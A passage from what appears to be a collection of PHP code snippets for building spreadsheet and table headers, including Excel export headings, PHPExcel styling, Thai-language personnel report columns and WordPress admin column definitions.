\"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "abstract function getheadings();", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}", "function horizon_skills_section() {\n\t\tget_template_part('inc/partials/homepage', 'skills');\n\t}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function getHeading(): string;", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function property_title() {\n\n\t\t\t$this->add_package = $this->getAddPackage();\n\n\t\t\t$headline_select = get_field( 'headline_select' );\n\t\t\t$standard_section = get_field( 'practice_type' ) . ' ' . get_field( 'building_type' );\n\t\t\t$custom_section = ( $headline_select == 'Custom Headline' )\n\t\t\t\t? get_field( 'custom_headline' )\n\t\t\t\t: $standard_section;\n\n\t\t\t$location = get_field( 'address_city' ) . ', ' . get_field( 'address_state' );\n\t\t\t$headline = get_field( 'practice_is_for' ) . ' - ' . $custom_section . ' - ' . $location;\n\n\t\t\t$out = '<h3>' . $headline . '</h3>';\n\t\t\t$out .= '<div class=\"hr hr-default\"><span class=\"hr-inner \"><span class=\"hr-inner-style\"></span></span></div>';\n\n\n\t\t\treturn $out;\n\t\t}", "function wpbm_columns_head( $columns ){\n $columns[ 'shortcodes' ] = __( 'Shortcodes', WPBM_TD );\n $columns[ 'template' ] = __( 'Template Include', WPBM_TD );\n return $columns;\n }", "private function renderSectionHeadings() {\n\t\t$headings = array();\n\t\t$separator = $this->getSubpart('HEADING_SEPARATOR');\n\n\t\tforeach ($this->sections as $key => $section) {\n\t\t\t$class = ($key == 0) ? 'tx-explanationbox-pi1-active' : 'tx-explanationbox-pi1-inactive';\n\n\t\t\t$this->setMarker('class_heading', $class);\n\t\t\t$this->setMarker('heading_number', $key);\n\t\t\t$this->setMarker('heading', htmlspecialchars($section['title']));\n\t\t\t$headings[] = $this->getSubpart('SINGLE_HEADING');\n\t\t}\n\n\t\tif (count($this->sections) > 1) {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-active');\n\t\t} else {\n\t\t\t$this->setMarker('class_rightarrow', 'tx-explanationbox-pi1-inactive');\n\t\t}\n\n\t\t$this->setMarker('number_of_sections', count($this->sections));\n\t\t$this->setSubpart('SECTION_HEADINGS', implode($separator, $headings));\n\t}", "function section_score_header($section_score, $scoring = 'score')\n {\n if($scoring == 'percentile') {\n return 'Your Score: '.str_ordinal($section_score);\n } else if($scoring == 'stanine') {\n return 'Your Stanine: '.$section_score;\n }\n\n return 'Your Score: '.$section_score;\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name 